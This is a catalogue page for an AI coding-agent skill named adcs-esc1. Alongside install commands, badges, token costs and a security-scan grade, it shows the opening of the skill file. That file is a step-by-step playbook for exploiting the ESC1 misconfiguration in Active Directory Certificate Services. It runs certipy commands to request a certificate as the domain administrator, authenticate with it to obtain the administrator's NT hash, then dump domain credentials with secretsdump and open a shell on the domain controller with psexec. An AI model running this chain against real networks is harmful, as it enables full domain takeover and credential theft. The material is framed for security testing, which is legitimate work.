adcs-esc1

adcs-esc1 is a skill for Claude Code, Codex from MingyiSecLab/Mingyi-Atlas. It costs 30 tokens per session (1,285 once invoked), scanned A, a copy of adcs-esc1, Apache-2.0.

A playbook for exploiting ESC1, a misconfiguration in Active Directory Certificate Services that can let an enrollee request a login certificate for another user.

In plain words
What is it for?
It covers enumerating templates, checking enrollment and authentication settings, and identifying templates where the requester can choose the certificate subject.
Why use it?
It helps security testers identify certificate templates whose permissions and settings could allow user impersonation or domain compromise.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It covers enumerating templates, checking enrollment and authentication settings, and identifying templates where the requester can choose the certificate subject.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/adcs-esc1
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill adcs-esc1
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for adcs-esc1

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/adcs-esc1/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/adcs-esc1)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/adcs-esc1"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/adcs-esc1/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for adcs-esc1

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/adcs-esc1"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/adcs-esc1.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 30 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,285 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 94% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00030 $0.01285
Opus 5 $0.00015 $0.00642
Sonnet 5 $0.00006 $0.00257
Haiku 4.5 $0.00003 $0.00128

Measured 11d ago against content hash 6f5c3916c226, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

adcs-esc1 scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

94% identical to adcs-esc1 — 5 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/ad/adcs-esc1/SKILL.md · 129 lines

How it starts

The opening of the file, as written. The whole thing — 129 lines — stays where its author put it; the contents beside it link to each section on GitHub.

ADCS ESC1 Exploitation

ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU → authenticate as that user via PKINIT → instant domain admin.

1. Enumerate templates

# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
  -output /tmp/adcs -text -stdout > /tmp/adcs.txt

# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
  -output /tmp/adcs.json

Atlas ingest:

adcs_audit("/tmp/adcs.json")

2. Identify ESC1 candidates

A template is ESC1-vulnerable when ALL true:

  • Enrollment Rights includes a group the attacker is in (Domain Users / Authenticated Users is jackpot)
  • Client Authentication EKU or Smart Card Logon EKU or Any Purpose
  • Enrollee Supplies Subject flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
  • Manager Approval disabled
  • Authorized Signatures Required is 0

certipy output marks these clearly:

[!] Vulnerabilities
        ESC1                                : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

3. Request the cert as Domain Admin

certipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
  -target CA_FQDN -template VULNERABLE_TEMPLATE \
  -upn 'administrator@dom' \
  -dc-ip DC_IP \
  -out /tmp/admin.pfx

The magic is -upn administrator@dom — because ENROLLEE_SUPPLIES_SUBJECT is set, the CA issues a cert with that UPN even though we're a regular user requesting it.

4. Authenticate as Domain Admin

PKINIT (cert → TGT):

certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printed

You get back:

  • A TGT in administrator.ccache (use w/ export KRB5CCNAME=...)
  • The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)

5. Operate as Domain Admin

With NT hash:

# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc

# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'

# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'

Read the full file on GitHub · 129 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 129 lines · 30 tokens per session scan A 6f5c3916c226

Subscribe to this mod's changes

adcs-esc1 is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 30 tokens to every session and 1,285 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 94% identical to adcs-esc1, differing in 5 lines, and is treated as a copy.